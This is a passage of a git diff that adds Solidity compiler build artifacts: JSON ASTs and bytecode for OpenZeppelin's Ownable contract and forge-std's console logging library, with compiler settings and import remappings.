payable"}},"src":"1836:19:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":78,"nodeType":"ExpressionStatement","src":"1836:19:0"}]},"documentation":{"id":59,"nodeType":"StructuredDocumentation","src":"1381:331:0","text":" @dev Leaves the contract without owner. It will not be possible to call\n `onlyOwner` functions anymore. Can only be called by the current owner.\n NOTE: Renouncing ownership will leave the contract without an owner,\n thereby removing any functionality that is only available to the owner."},"functionSelector":"715018a6","implemented":true,"kind":"function","modifiers":[{"arguments":null,"id":62,"modifierName":{"argumentTypes":null,"id":61,"name":"onlyOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1761:9:0","typeDescriptions":{"typeIdentifier":"t_modifier$__$","typeString":"modifier ()"}},"nodeType":"ModifierInvocation","src":"1761:9:0"}],"name":"renounceOwnership","overrides":null,"parameters":{"id":60,"nodeType":"ParameterList","parameters":[],"src":"1743:2:0"},"returnParameters":{"id":63,"nodeType":"ParameterList","parameters":[],"src":"1771:0:0"},"scope":109,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":108,"nodeType":"FunctionDefinition","src":"2011:240:0","nodes":[],"body":{"id":107,"nodeType":"Block","src":"2081:170:0","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":94,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":89,"name":"newOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":83,"src":"2099:8:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"30","id":92,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2119:1:0","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":91,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2111:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":90,"name":"address","nodeType":"ElementaryTypeName","src":"2111:7:0","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":93,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2111:10:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"2099:22:0","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373","id":95,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2123:40:0","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_245f15ff17f551913a7a18385165551503906a406f905ac1c2437281a7cd0cfe","typeString":"literal_string \"Ownable: new owner is the zero address\""},"value":"Ownable: new owner is the zero address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_245f15ff17f551913a7a18385165551503906a406f905ac1c2437281a7cd0cfe","typeString":"literal_string \"Ownable: new owner is the zero address\""}],"id":88,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2091:7:0","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":96,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2091:73:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":97,"nodeType":"ExpressionStatement","src":"2091:73:0"},{"eventCall":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":99,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7,"src":"2200:6:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"id":100,"name":"newOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":83,"src":"2208:8:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"id":98,"name":"OwnershipTransferred","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":13,"src":"2179:20:0","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address)"}},"id":101,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2179:38:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":102,"nodeType":"EmitStatement","src":"2174:43:0"},{"expression":{"argumentTypes":null,"id":105,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":103,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7,"src":"2227:6:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"id":104,"name":"newOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":83,"src":"2236:8:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2227:17:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":106,"nodeType":"ExpressionStatement","src":"2227:17:0"}]},"documentation":{"id":81,"nodeType":"StructuredDocumentation","src":"1868:138:0","text":" @dev Transfers ownership of the contract to a new account (`newOwner`).\n Can only be called by the current owner."},"functionSelector":"f2fde38b","implemented":true,"kind":"function","modifiers":[{"arguments":null,"id":86,"modifierName":{"argumentTypes":null,"id":85,"name":"onlyOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2071:9:0","typeDescriptions":{"typeIdentifier":"t_modifier$__$","typeString":"modifier ()"}},"nodeType":"ModifierInvocation","src":"2071:9:0"}],"name":"transferOwnership","overrides":null,"parameters":{"id":84,"nodeType":"ParameterList","parameters":[{"constant":false,"id":83,"mutability":"mutable","name":"newOwner","nodeType":"VariableDeclaration","overrides":null,"scope":108,"src":"2038:16:0","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":82,"name":"address","nodeType":"ElementaryTypeName","src":"2038:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"2037:18:0"},"returnParameters":{"id":87,"nodeType":"ParameterList","parameters":[],"src":"2081:0:0"},"scope":109,"stateMutability":"nonpayable","virtual":true,"visibility":"public"}],"abstract":true,"baseContracts":[{"arguments":null,"baseName":{"contractScope":null,"id":4,"name":"Context","nodeType":"UserDefinedTypeName","referencedDeclaration":849,"src":"621:7:0","typeDescriptions":{"typeIdentifier":"t_contract$_Context_$849","typeString":"contract Context"}},"id":5,"nodeType":"InheritanceSpecifier","src":"621:7:0"}],"contractDependencies":[849],"contractKind":"contract","documentation":{"id":3,"nodeType":"StructuredDocumentation","src":"97:494:0","text":" @dev Contract module which provides a basic access control mechanism, where\n there is an account (an owner) that can be granted exclusive access to\n specific functions.\n By default, the owner account will be the one that deploys the contract. This\n can later be changed with {transferOwnership}.\n This module is used through inheritance. It will make available the modifier\n `onlyOwner`, which can be applied to your functions to restrict their use to\n the owner."},"fullyImplemented":true,"linearizedBaseContracts":[109,849],"name":"Ownable","scope":110}],"license":"MIT"},"id":0} \ No newline at end of file diff --git a/contracts/out/console.sol/console.json b/contracts/out/console.sol/console.json new file mode 100644 index 000000000..7c4665738 --- /dev/null +++ b/contracts/out/console.sol/console.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x60556032600b8282823980515f1a607314602657634e487b7160e01b5f525f60045260245ffd5b305f52607381538281f3fe730000000000000000000000000000000000000000301460806040525f80fdfea2646970667358221220250e1ceabef69c33e29bc1865037e97106937aebae552125e9a471f161994f8564736f6c63430008180033","sourceMap":"66:66622:14:-:0;;;;;;;;;;;;;;;-1:-1:-1;;;66:66622:14;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x730000000000000000000000000000000000000000301460806040525f80fdfea2646970667358221220250e1ceabef69c33e29bc1865037e97106937aebae552125e9a471f161994f8564736f6c63430008180033","sourceMap":"66:66622:14:-:0;;;;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/console.sol\":\"console\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/console.sol":"console"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/console.sol","id":23738,"exportedSymbols":{"console":[23737]},"nodeType":"SourceUnit","src":"32:66656:14","nodes":[{"id":15675,"nodeType":"PragmaDirective","src":"32:32:14","nodes":[],"literals":["solidity",">=","0.4",".22","<","0.9",".0"]},{"id":23737,"nodeType":"ContractDefinition","src":"66:66622:14","nodes":[{"id":15681,"nodeType":"VariableDeclaration","src":"88:86:14","nodes":[],"constant":true,"mutability":"constant","name":"CONSOLE_ADDRESS","nameLocation":"105:15:14","scope":23737,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15676,"name":"address","nodeType":"ElementaryTypeName","src":"88:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"arguments":[{"hexValue":"307830303030303030303030303030303030303036333646366537333646366336353265366336663637","id":15679,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"131:42:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x000000000000000000636F6e736F6c652e6c6f67"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":15678,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"123:7:14","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":15677,"name":"address","nodeType":"ElementaryTypeName","src":"123:7:14","typeDescriptions":{}}},"id":15680,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"123:51:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"id":15697,"nodeType":"FunctionDefinition","src":"181:376:14","nodes":[],"body":{"id":15696,"nodeType":"Block","src":"241:316:14","nodes":[],"statements":[{"assignments":[15687],"declarations":[{"constant":false,"id":15687,"mutability":"mutable","name":"payloadLength","nameLocation":"259:13:14","nodeType":"VariableDeclaration","scope":15696,"src":"251:21:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15686,"name":"uint256","nodeType":"ElementaryTypeName","src":"251:7:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":15690,"initialValue":{"expression":{"id":15688,"name":"payload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15683,"src":"275:7:14","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":15689,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"283:6:14","memberName":"length","nodeType":"MemberAccess","src":"275:14:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"251:38:14"},{"assignments":[15692],"declarations":[{"constant":false,"id":15692,"mutability":"mutable","name":"consoleAddress","nameLocation":"307:14:14","nodeType":"VariableDeclaration","scope":15696,"src":"299:22:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15691,"name":"address","nodeType":"ElementaryTypeName","src":"299:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":15694,"initialValue":{"id":15693,"name":"CONSOLE_ADDRESS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15681,"src":"324:15:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"299:40:14"},{"AST":{"nativeSrc":"401:150:14","nodeType":"YulBlock","src":"401:150:14","statements":[{"nativeSrc":"415:36:14","nodeType":"YulVariableDeclaration","src":"415:36:14","value":{"arguments":[{"name":"payload","nativeSrc":"439:7:14","nodeType":"YulIdentifier","src":"439:7:14"},{"kind":"number","nativeSrc":"448:2:14","nodeType":"YulLiteral","src":"448:2:14","type":"","value":"32"}],"functionName":{"name":"add","nativeSrc":"435:3:14","nodeType":"YulIdentifier","src":"435:3:14"},"nativeSrc":"435:16:14","nodeType":"YulFunctionCall","src":"435:16:14"},"variables":[{"name":"payloadStart","nativeSrc":"419:12:14","nodeType":"YulTypedName","src":"419:12:14","type":""}]},{"nativeSrc":"464:77:14","nodeType":"YulVariableDeclaration","src":"464:77:14","value":{"arguments":[{"arguments":[],"functionName":{"name":"gas","nativeSrc":"484:3:14","nodeType":"YulIdentifier","src":"484:3:14"},"nativeSrc":"484:5:14","nodeType":"YulFunctionCall","src":"484:5:14"},{"name":"consoleAddress","nativeSrc":"491:14:14","nodeType":"YulIdentifier","src":"491:14:14"},{"name":"payloadStart","nativeSrc":"507:12:14","nodeType":"YulIdentifier","src":"507:12:14"},{"name":"payloadLength","nativeSrc":"521:13:14","nodeType":"YulIdentifier","src":"521:13:14"},{"kind":"number","nativeSrc":"536:1:14","nodeType":"YulLiteral","src":"536:1:14","type":"","value":"0"},{"kind":"number","nativeSrc":"539:1:14","nodeType":"YulLiteral","src":"539:1:14","type":"","value":"0"}],"functionName":{"name":"staticcall","nativeSrc":"473:10:14","nodeType":"YulIdentifier","src":"473:10:14"},"nativeSrc":"473:68:14","nodeType":"YulFunctionCall","src":"473:68:14"},"variables":[{"name":"r","nativeSrc":"468:1:14","nodeType":"YulTypedName","src":"468:1:14","type":""}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":15692,"isOffset":false,"isSlot":false,"src":"491:14:14","valueSize":1},{"declaration":15683,"isOffset":false,"isSlot":false,"src":"439:7:14","valueSize":1},{"declaration":15687,"isOffset":false,"isSlot":false,"src":"521:13:14","valueSize":1}],"id":15695,"nodeType":"InlineAssembly","src":"392:159:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_sendLogPayload","nameLocation":"190:15:14","parameters":{"id":15684,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15683,"mutability":"mutable","name":"payload","nameLocation":"219:7:14","nodeType":"VariableDeclaration","scope":15697,"src":"206:20:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":15682,"name":"bytes","nodeType":"ElementaryTypeName","src":"206:5:14","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"205:22:14"},"returnParameters":{"id":15685,"nodeType":"ParameterList","parameters":[],"src":"241:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"private"},{"id":15708,"nodeType":"FunctionDefinition","src":"563:95:14","nodes":[],"body":{"id":15707,"nodeType":"Block","src":"592:66:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672829","id":15703,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"642:7:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_51973ec9d4c1929bdd5b149c064d46aee47e92a7e2bb5f7a20c7b9cfb0d13b39","typeString":"literal_string \"log()\""},"value":"log()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_51973ec9d4c1929bdd5b149c064d46aee47e92a7e2bb5f7a20c7b9cfb0d13b39","typeString":"literal_string \"log()\""}],"expression":{"id":15701,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"618:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15702,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"622:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"618:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15704,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"618:32:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15700,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"602:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15705,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"602:49:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15706,"nodeType":"ExpressionStatement","src":"602:49:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"572:3:14","parameters":{"id":15698,"nodeType":"ParameterList","parameters":[],"src":"575:2:14"},"returnParameters":{"id":15699,"nodeType":"ParameterList","parameters":[],"src":"592:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15722,"nodeType":"FunctionDefinition","src":"664:111:14","nodes":[],"body":{"id":15721,"nodeType":"Block","src":"702:73:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728696e7429","id":15716,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"752:10:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_4e0c1d1dcf573259576e2a7e591d366143f88fb7f7e57df09852da9c36797f2e","typeString":"literal_string \"log(int)\""},"value":"log(int)"},{"id":15717,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15710,"src":"764:2:14","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4e0c1d1dcf573259576e2a7e591d366143f88fb7f7e57df09852da9c36797f2e","typeString":"literal_string \"log(int)\""},{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":15714,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"728:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15715,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"732:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"728:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15718,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"728:39:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15713,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"712:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15719,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"712:56:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15720,"nodeType":"ExpressionStatement","src":"712:56:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logInt","nameLocation":"673:6:14","parameters":{"id":15711,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15710,"mutability":"mutable","name":"p0","nameLocation":"684:2:14","nodeType":"VariableDeclaration","scope":15722,"src":"680:6:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":15709,"name":"int","nodeType":"ElementaryTypeName","src":"680:3:14","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"679:8:14"},"returnParameters":{"id":15712,"nodeType":"ParameterList","parameters":[],"src":"702:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15736,"nodeType":"FunctionDefinition","src":"781:114:14","nodes":[],"body":{"id":15735,"nodeType":"Block","src":"821:74:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e7429","id":15730,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"871:11:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f5b1bba92d8f98cf25e27c94d7fc7cbfbae95a49dfe5ab0cdf64ddd7181bb984","typeString":"literal_string \"log(uint)\""},"value":"log(uint)"},{"id":15731,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15724,"src":"884:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f5b1bba92d8f98cf25e27c94d7fc7cbfbae95a49dfe5ab0cdf64ddd7181bb984","typeString":"literal_string \"log(uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":15728,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"847:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15729,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"851:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"847:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15732,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"847:40:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15727,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"831:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15733,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"831:57:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15734,"nodeType":"ExpressionStatement","src":"831:57:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logUint","nameLocation":"790:7:14","parameters":{"id":15725,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15724,"mutability":"mutable","name":"p0","nameLocation":"803:2:14","nodeType":"VariableDeclaration","scope":15736,"src":"798:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15723,"name":"uint","nodeType":"ElementaryTypeName","src":"798:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"797:9:14"},"returnParameters":{"id":15726,"nodeType":"ParameterList","parameters":[],"src":"821:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15750,"nodeType":"FunctionDefinition","src":"901:127:14","nodes":[],"body":{"id":15749,"nodeType":"Block","src":"952:76:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e6729","id":15744,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1002:13:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_41304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f50","typeString":"literal_string \"log(string)\""},"value":"log(string)"},{"id":15745,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15738,"src":"1017:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_41304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f50","typeString":"literal_string \"log(string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":15742,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"978:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15743,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"982:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"978:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15746,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"978:42:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 